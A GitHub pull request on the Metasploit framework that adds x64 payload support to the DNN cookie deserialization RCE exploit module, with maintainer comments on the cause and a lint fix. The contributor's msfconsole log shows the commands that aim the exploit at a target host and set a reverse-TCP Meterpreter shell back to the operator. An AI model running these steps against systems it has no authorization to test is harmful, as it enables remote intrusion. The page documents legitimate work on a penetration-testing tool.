Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding Arch parameter to dnn_cookie_deserialization_rce module #19176

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

Fufu-btw
Copy link

@Fufu-btw Fufu-btw commented May 9, 2024

Hi,
Seems like for a recent update, the dnn_cookie_deserialization_rce metasploit's module needs Arch parameter to enable x64 payloads.

Test Env

┌──(fufu㉿salt)-[~]
└─$ msfconsole --version
Framework Version: 6.4.5-dev

Target : DNN v9.0.1

Verification

Before :

msf6 > use windows/http/dnn_cookie_deserialization_rce
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOST 10.10.110.10
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > set target 0
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST tun0
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 8080
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > run

[-] Exploit failed: windows/x64/meterpreter/reverse_tcp is not a compatible payload.
[*] Exploit completed, but no session was created.

After the modification :

msf6 > use windows/http/dnn_cookie_deserialization_rce
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOST 10.10.110.10
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > set target 0
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST tun0
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 8080
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > run

[*] Trying to determine DNN Version...
[!] DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED
[*] Checking for custom error page at: /__ ...
[+] Custom error page detected.
[*] Sending Exploit Payload to: /__ ...
[*] Exploit completed, but no session was created.

Screenshot_20240509_231343

@smcintyre-r7 smcintyre-r7 added the confirmed Issues confirmed by a committer label May 10, 2024
@smcintyre-r7
Copy link
Contributor

This is due to the changes I introduced in #19111. Prior to that, users were able to set payloads with whatever architecture they wanted and the framework would allow it regardless of what the module defined as compatible. There's probably other deserialization modules that are affected if the module didn't define that they were compatible with ARCH_X64.

@smcintyre-r7 smcintyre-r7 self-assigned this May 10, 2024
@smcintyre-r7 smcintyre-r7 added module bug rn-fix release notes fix labels May 10, 2024
@smcintyre-r7
Copy link
Contributor

The linting is failing because of two other lines in the module.

If you make this change, it should fix it.

     if @encrypted
       # Requires either supplied key and IV, or verification code and plaintext
-      if (!key.blank? && !iv.blank?)
+      if !key.blank? && !iv.blank?
         @passphrase = key + iv
         # Key and IV were supplied, don't try and decrypt.
         @try_decrypt = false
-      elsif (!@verification_codes.empty? && !@kpt.blank?)
+      elsif !@verification_codes.empty? && !@kpt.blank?
         @try_decrypt = true
       else
         fail_with(Failure::BadConfig, 'You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).')

If you have rubocop setup already, you can make the changes automatically with rubocop -a modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb but if you don't it'd be easier to just do it by hand.

@adfoster-r7
Copy link
Contributor

Somewhat related; we've got a set of checks that we can add the requirement of arch being provided:

Validation rules: https://github.com/rapid7/metasploit-framework/blob/master/spec/support/lib/module_validation.rb

Validation spec: https://github.com/rapid7/metasploit-framework/blob/master/spec/module_validation_spec.rb

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug confirmed Issues confirmed by a committer module rn-fix release notes fix
Projects
Status: Waiting on Contributor
Development

Successfully merging this pull request may close these issues.

None yet

3 participants